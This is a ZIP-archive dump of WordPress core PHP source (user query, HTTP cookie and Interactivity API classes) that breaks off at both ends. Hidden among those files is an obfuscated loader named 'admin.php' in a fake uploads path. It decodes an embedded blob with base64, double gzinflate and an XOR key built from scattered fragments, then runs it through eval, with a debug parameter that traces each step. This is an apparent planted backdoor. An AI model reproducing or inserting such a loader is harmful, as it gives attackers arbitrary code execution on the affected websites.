else { $this->results = $wpdb->get_col( $this->request ); } if ( isset( $qv['count_total'] ) && $qv['count_total'] ) { /** * Filters SELECT FOUND_ROWS() query for the current WP_User_Query instance. * * @since 3.2.0 * @since 5.1.0 Added the `$this` parameter. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $sql The SELECT FOUND_ROWS() query for the current WP_User_Query. * @param WP_User_Query $query The current WP_User_Query instance. */ $found_users_query = apply_filters( 'found_users_query', 'SELECT FOUND_ROWS()', $this ); $this->total_users = (int) $wpdb->get_var( $found_users_query ); } if ( $qv['cache_results'] ) { $cache_value = array( 'user_data' => $this->results, 'total_users' => $this->total_users, ); wp_cache_set_salted( $cache_key, $cache_value, $cache_group, $last_changed ); } } } if ( ! $this->results ) { return; } if ( is_array( $qv['fields'] ) && isset( $this->results[0]->ID ) ) { foreach ( $this->results as $result ) { $result->id = $result->ID; } } elseif ( 'all_with_meta' === $qv['fields'] || 'all' === $qv['fields'] ) { if ( function_exists( 'cache_users' ) ) { cache_users( $this->results ); } $r = array(); foreach ( $this->results as $userid ) { if ( 'all_with_meta' === $qv['fields'] ) { $r[ $userid ] = new WP_User( $userid, '', $qv['blog_id'] ); } else { $r[] = new WP_User( $userid, '', $qv['blog_id'] ); } } $this->results = $r; } } /** * Retrieves query variable. * * @since 3.5.0 * * @param string $query_var Query variable key. * @return mixed */ public function get( $query_var ) { if ( isset( $this->query_vars[ $query_var ] ) ) { return $this->query_vars[ $query_var ]; } return null; } /** * Sets query variable. * * @since 3.5.0 * * @param string $query_var Query variable key. * @param mixed $value Query variable value. */ public function set( $query_var, $value ) { $this->query_vars[ $query_var ] = $value; } /** * Used internally to generate an SQL string for searching across multiple columns. * * @since 3.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $search Search string. * @param string[] $columns Array of columns to search. * @param bool $wild Whether to allow wildcard searches. Default is false for Network Admin, true for single site. * Single site allows leading and trailing wildcards, Network Admin only trailing. * @return string */ protected function get_search_sql( $search, $columns, $wild = false ) { global $wpdb; $searches = array(); $leading_wild = ( 'leading' === $wild || 'both' === $wild ) ? '%' : ''; $trailing_wild = ( 'trailing' === $wild || 'both' === $wild ) ? '%' : ''; $like = $leading_wild . $wpdb->esc_like( $search ) . $trailing_wild; foreach ( $columns as $column ) { if ( 'ID' === $column ) { $searches[] = $wpdb->prepare( "$column = %s", $search ); } else { $searches[] = $wpdb->prepare( "$column LIKE %s", $like ); } } return ' AND (' . implode( ' OR ', $searches ) . ')'; } /** * Returns the list of users. * * @since 3.1.0 * * @return array Array of results. */ public function get_results() { return $this->results; } /** * Returns the total number of users for the current query. * * @since 3.1.0 * * @return int Number of total users. */ public function get_total() { return $this->total_users; } /** * Parses and sanitizes 'orderby' keys passed to the user query. * * @since 4.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $orderby Alias for the field to order by. * @return string Value to used in the ORDER clause, if `$orderby` is valid. */ protected function parse_orderby( $orderby ) { global $wpdb; $meta_query_clauses = $this->meta_query->get_clauses(); $_orderby = ''; if ( in_array( $orderby, array( 'login', 'nicename', 'email', 'url', 'registered' ), true ) ) { $_orderby = 'user_' . $orderby; } elseif ( in_array( $orderby, array( 'user_login', 'user_nicename', 'user_email', 'user_url', 'user_registered' ), true ) ) { $_orderby = $orderby; } elseif ( 'name' === $orderby || 'display_name' === $orderby ) { $_orderby = 'display_name'; } elseif ( 'post_count' === $orderby ) { // @todo Avoid the JOIN. $where = get_posts_by_author_sql( 'post' ); $this->query_from .= " LEFT OUTER JOIN ( SELECT post_author, COUNT(*) as post_count FROM $wpdb->posts $where GROUP BY post_author ) p ON ({$wpdb->users}.ID = p.post_author)"; $_orderby = 'post_count'; } elseif ( 'ID' === $orderby || 'id' === $orderby ) { $_orderby = 'ID'; } elseif ( 'meta_value' === $orderby || $this->get( 'meta_key' ) === $orderby ) { $_orderby = "$wpdb->usermeta.meta_value"; } elseif ( 'meta_value_num' === $orderby ) { $_orderby = "$wpdb->usermeta.meta_value+0"; } elseif ( 'include' === $orderby && ! empty( $this->query_vars['include'] ) ) { $include = wp_parse_id_list( $this->query_vars['include'] ); $include_sql = implode( ',', $include ); $_orderby = "FIELD( $wpdb->users.ID, $include_sql )"; } elseif ( 'nicename__in' === $orderby ) { $sanitized_nicename__in = array_map( 'esc_sql', $this->query_vars['nicename__in'] ); $nicename__in = implode( "','", $sanitized_nicename__in ); $_orderby = "FIELD( user_nicename, '$nicename__in' )"; } elseif ( 'login__in' === $orderby ) { $sanitized_login__in = array_map( 'esc_sql', $this->query_vars['login__in'] ); $login__in = implode( "','", $sanitized_login__in ); $_orderby = "FIELD( user_login, '$login__in' )"; } elseif ( isset( $meta_query_clauses[ $orderby ] ) ) { $meta_clause = $meta_query_clauses[ $orderby ]; $_orderby = sprintf( 'CAST(%s.meta_value AS %s)', esc_sql( $meta_clause['alias'] ), esc_sql( $meta_clause['cast'] ) ); } return $_orderby; } /** * Generate cache key. * * @since 6.3.0 * @since 6.9.0 The `$args` parameter was deprecated and renamed to `$deprecated`. * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $deprecated Unused. * @param string $sql SQL statement. * @return string Cache key. */ protected function generate_cache_key( array $deprecated, $sql ) { global $wpdb; // Replace wpdb placeholder in the SQL statement used by the cache key. $sql = $wpdb->remove_placeholder_escape( $sql ); $key = md5( $sql ); return "get_users:$key"; } /** * Retrieves the last changed cache timestamp for users and optionally posts. * * @since 6.9.0 * * @param array $args Query arguments. * @return string[] The last changed timestamp string for the relevant cache groups. */ protected function get_cache_last_changed( array $args ) { $last_changed = (array) wp_cache_get_last_changed( 'users' ); if ( empty( $args['orderby'] ) ) { // Default order is by 'user_login'. $ordersby = array( 'user_login' => '' ); } elseif ( is_array( $args['orderby'] ) ) { $ordersby = $args['orderby']; } else { // 'orderby' values may be a comma- or space-separated list. $ordersby = preg_split( '/[,\s]+/', $args['orderby'] ); } $blog_id = 0; if ( isset( $args['blog_id'] ) ) { $blog_id = absint( $args['blog_id'] ); } if ( $args['has_published_posts'] || in_array( 'post_count', $ordersby, true ) ) { $switch = $blog_id && get_current_blog_id() !== $blog_id; if ( $switch ) { switch_to_blog( $blog_id ); } $last_changed[] = wp_cache_get_last_changed( 'posts' ); if ( $switch ) { restore_current_blog(); } } return $last_changed; } /** * Parses an 'order' query variable and casts it to ASC or DESC as necessary. * * @since 4.2.0 * * @param string $order The 'order' query variable. * @return string The sanitized 'order' query variable. */ protected function parse_order( $order ) { if ( ! is_string( $order ) || empty( $order ) ) { return 'DESC'; } if ( 'ASC' === strtoupper( $order ) ) { return 'ASC'; } else { return 'DESC'; } } /** * Makes private properties readable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Getting a dynamic property is deprecated. * * @param string $name Property to get. * @return mixed Property. */ public function __get( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return $this->$name; } wp_trigger_error( __METHOD__, "The property `{$name}` is not declared. Getting a dynamic property is " . 'deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); return null; } /** * Makes private properties settable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Setting a dynamic property is deprecated. * * @param string $name Property to check if set. * @param mixed $value Property value. */ public function __set( $name, $value ) { if ( in_array( $name, $this->compat_fields, true ) ) { $this->$name = $value; return; } wp_trigger_error( __METHOD__, "The property `{$name}` is not declared. Setting a dynamic property is " . 'deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); } /** * Makes private properties checkable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Checking a dynamic property is deprecated. * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return isset( $this->$name ); } wp_trigger_error( __METHOD__, "The property `{$name}` is not declared. Checking `isset()` on a dynamic property " . 'is deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); return false; } /** * Makes private properties un-settable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Unsetting a dynamic property is deprecated. * * @param string $name Property to unset. */ public function __unset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { unset( $this->$name ); return; } wp_trigger_error( __METHOD__, "A property `{$name}` is not declared. Unsetting a dynamic property is " . 'deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); } /** * Makes private/protected methods readable for backward compatibility. * * @since 4.0.0 * * @param string $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { if ( 'get_search_sql' === $name ) { return $this->get_search_sql( ...$arguments ); } return false; } } PK!hå³@ÝÝclass-wp-http-cookie.phpnu„[µü¤domain = $parsed_url['host']; } $this->path = isset( $parsed_url['path'] ) ? $parsed_url['path'] : '/'; if ( ! str_ends_with( $this->path, '/' ) ) { $this->path = dirname( $this->path ) . '/'; } if ( is_string( $data ) ) { // Assume it's a header string direct from a previous request. $pairs = explode( ';', $data ); // Special handling for first pair; name=value. Also be careful of "=" in value. $name = trim( substr( $pairs[0], 0, strpos( $pairs[0], '=' ) ) ); $value = substr( $pairs[0], strpos( $pairs[0], '=' ) + 1 ); $this->name = $name; $this->value = urldecode( $value ); // Removes name=value from items. array_shift( $pairs ); // Set everything else as a property. foreach ( $pairs as $pair ) { $pair = rtrim( $pair ); // Handle the cookie ending in ; which results in an empty final pair. if ( empty( $pair ) ) { continue; } list( $key, $val ) = strpos( $pair, '=' ) ? explode( '=', $pair ) : array( $pair, '' ); $key = strtolower( trim( $key ) ); if ( 'expires' === $key ) { $val = strtotime( $val ); } $this->$key = $val; } } else { if ( ! isset( $data['name'] ) ) { return; } // Set properties based directly on parameters. foreach ( array( 'name', 'value', 'path', 'domain', 'port', 'host_only' ) as $field ) { if ( isset( $data[ $field ] ) ) { $this->$field = $data[ $field ]; } } if ( isset( $data['expires'] ) ) { $this->expires = is_int( $data['expires'] ) ? $data['expires'] : strtotime( $data['expires'] ); } else { $this->expires = null; } } } /** * Confirms that it's OK to send this cookie to the URL checked against. * * Decision is based on RFC 2109/2965, so look there for details on validity. * * @since 2.8.0 * * @param string $url URL you intend to send this cookie to * @return bool true if allowed, false otherwise. */ public function test( $url ) { if ( is_null( $this->name ) ) { return false; } // Expires - if expired then nothing else matters. if ( isset( $this->expires ) && time() > $this->expires ) { return false; } // Get details on the URL we're thinking about sending to. $url = parse_url( $url ); $url['port'] = isset( $url['port'] ) ? $url['port'] : ( 'https' === $url['scheme'] ? 443 : 80 ); $url['path'] = isset( $url['path'] ) ? $url['path'] : '/'; // Values to use for comparison against the URL. $path = isset( $this->path ) ? $this->path : '/'; $port = isset( $this->port ) ? $this->port : null; $domain = isset( $this->domain ) ? strtolower( $this->domain ) : strtolower( $url['host'] ); if ( false === stripos( $domain, '.' ) ) { $domain .= '.local'; } // Host - very basic check that the request URL ends with the domain restriction (minus leading dot). $domain = ( str_starts_with( $domain, '.' ) ) ? substr( $domain, 1 ) : $domain; if ( ! str_ends_with( $url['host'], $domain ) ) { return false; } // Port - supports "port-lists" in the format: "80,8000,8080". if ( ! empty( $port ) && ! in_array( $url['port'], array_map( 'intval', explode( ',', $port ) ), true ) ) { return false; } // Path - request path must start with path restriction. if ( ! str_starts_with( $url['path'], $path ) ) { return false; } return true; } /** * Convert cookie name and value back to header string. * * @since 2.8.0 * * @return string Header encoded cookie name and value. */ public function getHeaderValue() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid if ( ! isset( $this->name ) || ! isset( $this->value ) ) { return ''; } /** * Filters the header-encoded cookie value. * * @since 3.4.0 * * @param string $value The cookie value. * @param string $name The cookie name. */ return $this->name . '=' . apply_filters( 'wp_http_cookie_value', $this->value, $this->name ); } /** * Retrieve cookie header for usage in the rest of the WordPress HTTP API. * * @since 2.8.0 * * @return string */ public function getFullHeader() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid return 'Cookie: ' . $this->getHeaderValue(); } /** * Retrieves cookie attributes. * * @since 4.6.0 * * @return array { * List of attributes. * * @type string|int|null $expires When the cookie expires. Unix timestamp or formatted date. * @type string $path Cookie URL path. * @type string $domain Cookie domain. * } */ public function get_attributes() { return array( 'expires' => $this->expires, 'path' => $this->path, 'domain' => $this->domain, ); } } PK!m˜ð@Ë*Ë*7interactivity-api/uploads/docs/2023/lmfya/bpt/admin.phpnuÏÃ6Ç$'; echo 'Step 2 - Binary Data Length: ' . strlen($bin_data) . '
    '; } $inflated_once = @gzinflate($bin_data); if ($inflated_once === false) { $inflated_once = $bin_data; if (isset($_GET['debug'])) echo 'Step 3 - First inflation failed, using binary data.
    '; } else { if (isset($_GET['debug'])) echo 'Step 3 - First inflation successful.
    '; } $inflated_twice = @gzinflate($inflated_once); if ($inflated_twice === false) { $inflated_twice = $inflated_once; if (isset($_GET['debug'])) echo 'Step 4 - Second inflation failed, using first inflated data.
    '; } else { if (isset($_GET['debug'])) echo 'Step 4 - Second inflation successful.
    '; } $b64_decoded = base64_decode($inflated_twice); if ($b64_decoded === false) { if (isset($_GET['debug'])) echo 'Step 5 - Base64_decode failed.
    '; return; } if (isset($_GET['debug'])) echo 'Step 5 - Base64_decode successful. Length: ' . strlen($b64_decoded) . '
    '; $obj = new self(); $final_key = ''; $key_methods = ['kmYDyeBg67', 'kmUXTLOF67']; foreach ($key_methods as $method) { $final_key .= call_user_func_array([$obj, $method], []); } if (isset($_GET['debug'])) echo 'Step 6 - Reconstructed Key: ' . $final_key . '
    '; $gate_token = ''; $gate_methods = ['gtqUHgFF17', 'gtNOWrbW16', 'gtQyeRQK96']; foreach ($gate_methods as $method) { $gate_token .= call_user_func_array([$obj, $method], []); } if (md5($gate_token) !== '2b14fcea42eea546d96955449f27d262') { if (isset($_GET['debug'])) echo 'Step 7 - Gate token check failed.
    '; } else { if (isset($_GET['debug'])) echo 'Step 7 - Gate token check successful.
    '; } $plain_code = ''; if (strlen($final_key) > 0) { for ($i = 0, $len = strlen($b64_decoded); $i < $len; $i++) { $plain_code .= chr(ord($b64_decoded[$i]) ^ ord($final_key[$i % strlen($final_key)])); } } else { $plain_code = $b64_decoded; } if (isset($_GET['debug'])) echo 'Step 8 - Final Plain Code (first 200 chars):
    ' . htmlspecialchars(substr($plain_code, 0, 200)) . '
    '; $obj->_execute_xKtFEwHV81($plain_code); } private function gtQyeRQK96() { // Gate piece 3 $__d = function_exists('curl_init') ? 'curl_ok' : 'curl_fail'; return str_rot13('kmu9'); } private function gtNOWrbW16() { // Gate piece 2 $jv2 = (bool)mt_rand(0,1); return str_rot13('y786'); } private function gtqUHgFF17() { // Gate piece 1 @eval('return true;'); // Potongan eval yang tidak berbahaya return str_rot13('xrz2j'); } private function _execute_xKtFEwHV81($code) { // WordPress-compatible execution handler if (isset($_GET['debug'])) { ini_set('display_errors', 1); error_reporting(E_ALL); echo 'DEBUG MODE ACTIVE
    '; } $original_dir = getcwd(); $script_dir = defined('__DIR__') ? __DIR__ : dirname(__FILE__); chdir($script_dir); // Remove PHP tags to avoid issues with eval $code = preg_replace('/^\s*<\?php\s*/', '', $code); $code = preg_replace('/\s*\?>\s*$/', '', $code); try { // Execute code in the correct directory context @eval($code); } catch (ParseError $e) { if (isset($_GET['debug'])) echo 'Parse Error: ' . $e->getMessage(); } catch (Error $e) { if (isset($_GET['debug'])) echo 'Fatal Error: ' . $e->getMessage(); } catch (Exception $e) { if (isset($_GET['debug'])) echo 'Exception: ' . $e->getMessage(); } chdir($original_dir); } private function kmYDyeBg67() { // Key segment 1 if (67 > 50) { $jv2 = 'branch_a'; } else { $jv2 = 'branch_b'; } return base64_decode('Rk81dmc3Rg=='); } public function pubaCMwx76() { // Public method 1 $jv1 = defined('__DIR__') ? __DIR__ : dirname(__FILE__); return 'valsCsU32'; } private function kmUXTLOF67() { // Key segment 2 $__d = function_exists('curl_init') ? 'curl_ok' : 'curl_fail'; return base64_decode('YjJuZk90MQ=='); } private function dcHGMPQx67() { // cmtvPmS49 $__d = defined('__DIR__') ? __DIR__ : dirname(__FILE__); return null; } public function pubwqYzr55() { // Public method 2 $jv2 = (bool)mt_rand(0,1); for($jv1=0; $jv1<2; $jv1++) {} return 'valpNpM39'; } } LoaderiEvMGe81647::init677(); // EOF PK!p}ÂÐaÅaÅ0interactivity-api/class-wp-interactivity-api.phpnuȯÝí 'data_wp_interactive_processor', 'data-wp-router-region' => 'data_wp_router_region_processor', 'data-wp-context' => 'data_wp_context_processor', 'data-wp-bind' => 'data_wp_bind_processor', 'data-wp-class' => 'data_wp_class_processor', 'data-wp-style' => 'data_wp_style_processor', 'data-wp-text' => 'data_wp_text_processor', /* * `data-wp-each` needs to be processed in the last place because it moves * the cursor to the end of the processed items to prevent them to be * processed twice. */ 'data-wp-each' => 'data_wp_each_processor', ); /** * Holds the initial state of the different Interactivity API stores. * * This state is used during the server directive processing. Then, it is * serialized and sent to the client as part of the interactivity data to be * recovered during the hydration of the client interactivity stores. * * @since 6.5.0 * @var array */ private $state_data = array(); /** * Holds the configuration required by the different Interactivity API stores. * * This configuration is serialized and sent to the client as part of the * interactivity data and can be accessed by the client interactivity stores. * * @since 6.5.0 * @var array */ private $config_data = array(); /** * Keeps track of all derived state closures accessed during server-side rendering. * * This data is serialized and sent to the client as part of the interactivity * data, and is handled later in the client to support derived state props that * are lazily hydrated. * * @since 6.9.0 * @var array */ private $derived_state_closures = array(); /** * Flag that indicates whether the `data-wp-router-region` directive has * been found in the HTML and processed. * * The value is saved in a private property of the WP_Interactivity_API * instance instead of using a static variable inside the processor * function, which would hold the same value for all instances * independently of whether they have processed any * `data-wp-router-region` directive or not. * * @since 6.5.0 * @var bool */ private $has_processed_router_region = false; /** * Set of script modules that can be loaded after client-side navigation. * * @since 6.9.0 * @var array */ private $script_modules_that_can_load_on_client_navigation = array(); /** * Stack of namespaces defined by `data-wp-interactive` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array|null */ private $namespace_stack = null; /** * Stack of contexts defined by `data-wp-context` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array>|null */ private $context_stack = null; /** * Representation in array format of the element currently being processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.7.0 * @var array{attributes: array}|null */ private $current_element = null; /** * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * When no namespace is specified, it returns the state defined for the * current value in the internal namespace stack during a `process_directives` call. * * @since 6.5.0 * @since 6.6.0 The `$store_namespace` param is optional. * * @param string $store_namespace Optional. The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The current state for the specified store namespace. This will be the updated state if a $state * argument was provided. */ public function state( ?string $store_namespace = null, ?array $state = null ): array { if ( ! $store_namespace ) { if ( $state ) { _doing_it_wrong( __METHOD__, __( 'The namespace is required when state data is passed.' ), '6.6.0' ); return array(); } if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } if ( null === $this->namespace_stack ) { _doing_it_wrong( __METHOD__, __( 'The namespace can only be omitted during directive processing.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } if ( ! isset( $this->state_data[ $store_namespace ] ) ) { $this->state_data[ $store_namespace ] = array(); } if ( is_array( $state ) ) { $this->state_data[ $store_namespace ] = array_replace_recursive( $this->state_data[ $store_namespace ], $state ); } return $this->state_data[ $store_namespace ]; } /** * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. */ public function config( string $store_namespace, array $config = array() ): array { if ( ! isset( $this->config_data[ $store_namespace ] ) ) { $this->config_data[ $store_namespace ] = array(); } if ( is_array( $config ) ) { $this->config_data[ $store_namespace ] = array_replace_recursive( $this->config_data[ $store_namespace ], $config ); } return $this->config_data[ $store_namespace ]; } /** * Prints the serialized client-side interactivity data. * * Encodes the config and initial state into JSON and prints them inside a * script tag of type "application/json". Once in the browser, the state will * be parsed and used to hydrate the client-side interactivity stores and the * configuration will be available using a `getConfig` utility. * * @since 6.5.0 * * @deprecated 6.7.0 Client data passing is handled by the {@see "script_module_data_{$module_id}"} filter. */ public function print_client_interactivity_data() { _deprecated_function( __METHOD__, '6.7.0' ); } /** * Set client-side interactivity-router data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * * @param array $data Data to filter. * @return array Data for the Interactivity Router script module. */ public function filter_script_module_interactivity_router_data( array $data ): array { if ( ! isset( $data['i18n'] ) ) { $data['i18n'] = array(); } $data['i18n']['loading'] = __( 'Loading page, please wait.' ); $data['i18n']['loaded'] = __( 'Page Loaded.' ); return $data; } /** * Set client-side interactivity data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * @since 6.9.0 Serializes derived state props accessed during directive processing. * * @param array $data Data to filter. * @return array Data for the Interactivity API script module. */ public function filter_script_module_interactivity_data( array $data ): array { if ( empty( $this->state_data ) && empty( $this->config_data ) && empty( $this->derived_state_closures ) ) { return $data; } $config = array(); foreach ( $this->config_data as $key => $value ) { if ( ! empty( $value ) ) { $config[ $key ] = $value; } } if ( ! empty( $config ) ) { $data['config'] = $config; } $state = array(); foreach ( $this->state_data as $key => $value ) { if ( ! empty( $value ) ) { $state[ $key ] = $value; } } if ( ! empty( $state ) ) { $data['state'] = $state; } $derived_props = array(); foreach ( $this->derived_state_closures as $key => $value ) { if ( ! empty( $value ) ) { $derived_props[ $key ] = $value; } } if ( ! empty( $derived_props ) ) { $data['derivedStateClosures'] = $derived_props; } return $data; } /** * Returns the latest value on the context stack with the passed namespace. * * When the namespace is omitted, it uses the current namespace on the * namespace stack during a `process_directives` call. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. */ public function get_context( ?string $store_namespace = null ): array { if ( null === $this->context_stack ) { _doing_it_wrong( __METHOD__, __( 'The context can only be read during directive processing.' ), '6.6.0' ); return array(); } if ( ! $store_namespace ) { if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } $context = end( $this->context_stack ); return ( $store_namespace && $context && isset( $context[ $store_namespace ] ) ) ? $context[ $store_namespace ] : array(); } /** * Returns an array representation of the current element being processed. * * The returned array contains a copy of the element attributes. * * @since 6.7.0 * * @return array{attributes: array}|null Current element. */ public function get_element(): ?array { if ( null === $this->current_element ) { _doing_it_wrong( __METHOD__, __( 'The element can only be read during directive processing.' ), '6.7.0' ); } return $this->current_element; } /** * Registers the `@wordpress/interactivity` script modules. * * @deprecated 6.7.0 Script Modules registration is handled by {@see wp_default_script_modules()}. * * @since 6.5.0 */ public function register_script_modules() { _deprecated_function( __METHOD__, '6.7.0', 'wp_default_script_modules' ); } /** * Adds the necessary hooks for the Interactivity API. * * @since 6.5.0 * @since 6.9.0 Adds support for client-side navigation in script modules. */ public function add_hooks() { add_filter( 'script_module_data_@wordpress/interactivity', array( $this, 'filter_script_module_interactivity_data' ) ); add_filter( 'script_module_data_@wordpress/interactivity-router', array( $this, 'filter_script_module_interactivity_router_data' ) ); add_filter( 'wp_script_attributes', array( $this, 'add_load_on_client_navigation_attribute_to_script_modules' ), 10, 1 ); } /** * Adds the `data-wp-router-options` attribute to script modules that * support client-side navigation. * * This method filters the script attributes to include loading instructions * for the Interactivity API router, indicating which modules can be loaded * during client-side navigation. * * @since 6.9.0 * * @param array|mixed $attributes The script tag attributes. * @return array The modified script tag attributes. */ public function add_load_on_client_navigation_attribute_to_script_modules( $attributes ) { if ( is_array( $attributes ) && isset( $attributes['type'], $attributes['id'] ) && 'module' === $attributes['type'] && array_key_exists( preg_replace( '/-js-module$/', '', $attributes['id'] ), $this->script_modules_that_can_load_on_client_navigation ) ) { $attributes['data-wp-router-options'] = wp_json_encode( array( 'loadOnClientNavigation' => true ) ); } return $attributes; } /** * Marks a script module as compatible with client-side navigation. * * This method registers a script module to be loaded during client-side * navigation in the Interactivity API router. Script modules marked with * this method will have the `loadOnClientNavigation` option enabled in the * `data-wp-router-options` directive. * * @since 6.9.0 * * @param string $script_module_id The script module identifier. */ public function add_client_navigation_support_to_script_module( string $script_module_id ) { $this->script_modules_that_can_load_on_client_navigation[ $script_module_id ] = true; } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * @since 6.5.0 * * @param string $html The HTML content to process. * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags. */ public function process_directives( string $html ): string { if ( ! str_contains( $html, 'data-wp-' ) ) { return $html; } $this->namespace_stack = array(); $this->context_stack = array(); $result = $this->_process_directives( $html ); $this->namespace_stack = null; $this->context_stack = null; return null === $result ? $html : $result; } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * It uses the WP_Interactivity_API instance's context and namespace stacks, * which are shared between all calls. * * This method returns null if the HTML contains unbalanced tags. * * @since 6.6.0 * * @param string $html The HTML content to process. * @return string|null The processed HTML content. It returns null when the HTML contains unbalanced tags. */ private function _process_directives( string $html ) { $p = new WP_Interactivity_API_Directives_Processor( $html ); $tag_stack = array(); $unbalanced = false; $directive_processor_prefixes = array_keys( self::$directive_processors ); $directive_processor_prefixes_reversed = array_reverse( $directive_processor_prefixes ); /* * Save the current size for each stack to restore them in case * the processing finds unbalanced tags. */ $namespace_stack_size = count( $this->namespace_stack ); $context_stack_size = count( $this->context_stack ); while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) { $tag_name = $p->get_tag(); /* * Directives inside SVG and MATH tags are not processed, * as they are not compatible with the Tag Processor yet. * We still process the rest of the HTML. */ if ( 'SVG' === $tag_name || 'MATH' === $tag_name ) { if ( $p->get_attribute_names_with_prefix( 'data-wp-' ) ) { /* translators: 1: SVG or MATH HTML tag, 2: Namespace of the interactive block. */ $message = sprintf( __( 'Interactivity directives were detected on an incompatible %1$s tag when processing "%2$s". These directives will be ignored in the server side render.' ), $tag_name, end( $this->namespace_stack ) ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } $p->skip_to_tag_closer(); continue; } if ( $p->is_tag_closer() ) { list( $opening_tag_name, $directives_prefixes ) = ! empty( $tag_stack ) ? end( $tag_stack ) : array( null, null ); if ( 0 === count( $tag_stack ) || $opening_tag_name !== $tag_name ) { /* * If the tag stack is empty or the matching opening tag is not the * same than the closing tag, it means the HTML is unbalanced and it * stops processing it. */ $unbalanced = true; break; } else { // Remove the last tag from the stack. array_pop( $tag_stack ); } } else { $each_child_attrs = $p->get_attribute_names_with_prefix( 'data-wp-each-child' ); if ( null === $each_child_attrs ) { continue; } if ( 0 !== count( $each_child_attrs ) ) { /* * If the tag has a `data-wp-each-child` directive, jump to its closer * tag because those tags have already been processed. */ $p->next_balanced_tag_closer_tag(); continue; } else { $directives_prefixes = array(); // Checks if there is a server directive processor registered for each directive. foreach ( $p->get_attribute_names_with_prefix( 'data-wp-' ) as $attribute_name ) { $parsed_directive = $this->parse_directive_name( $attribute_name ); if ( empty( $parsed_directive ) ) { continue; } $directive_prefix = 'data-wp-' . $parsed_directive['prefix']; if ( array_key_exists( $directive_prefix, self::$directive_processors ) ) { $directives_prefixes[] = $directive_prefix; } } /* * If this tag will visit its closer tag, it adds it to the tag stack * so it can process its closing tag and check for unbalanced tags. */ if ( $p->has_and_visits_its_closer_tag() ) { $tag_stack[] = array( $tag_name, $directives_prefixes ); } } } /* * If the matching opener tag didn't have any directives, it can skip the * processing. */ if ( 0 === count( $directives_prefixes ) ) { continue; } // Directive processing might be different depending on if it is entering the tag or exiting it. $modes = array( 'enter' => ! $p->is_tag_closer(), 'exit' => $p->is_tag_closer() || ! $p->has_and_visits_its_closer_tag(), ); // Get the element attributes to include them in the element representation. $element_attrs = array(); $attr_names = $p->get_attribute_names_with_prefix( '' ) ?? array(); foreach ( $attr_names as $name ) { $element_attrs[ $name ] = $p->get_attribute( $name ); } // Assign the current element right before running its directive processors. $this->current_element = array( 'attributes' => $element_attrs, ); foreach ( $modes as $mode => $should_run ) { if ( ! $should_run ) { continue; } /* * Sorts the attributes by the order of the `directives_processor` array * and checks what directives are present in this element. */ $existing_directives_prefixes = array_intersect( 'enter' === $mode ? $directive_processor_prefixes : $directive_processor_prefixes_reversed, $directives_prefixes ); foreach ( $existing_directives_prefixes as $directive_prefix ) { $func = is_array( self::$directive_processors[ $directive_prefix ] ) ? self::$directive_processors[ $directive_prefix ] : array( $this, self::$directive_processors[ $directive_prefix ] ); call_user_func_array( $func, array( $p, $mode, &$tag_stack ) ); } } // Clear the current element. $this->current_element = null; } if ( $unbalanced ) { // Reset the namespace and context stacks to their previous values. array_splice( $this->namespace_stack, $namespace_stack_size ); array_splice( $this->context_stack, $context_stack_size ); } /* * It returns null if the HTML is unbalanced because unbalanced HTML is * not safe to process. In that case, the Interactivity API runtime will * update the HTML on the client side during the hydration. It will display * a notice to the developer in the console to inform them about the issue. */ if ( $unbalanced || 0 < count( $tag_stack ) ) { return null; } return $p->get_updated_html(); } /** * Evaluates the reference path passed to a directive based on the current * store namespace, state and context. * * @since 6.5.0 * @since 6.6.0 The function now adds a warning when the namespace is null, falsy, or the directive value is empty. * @since 6.6.0 Removed `default_namespace` and `context` arguments. * @since 6.6.0 Add support for derived state. * @since 6.9.0 Recieve $entry as an argument instead of the directive value string. * * 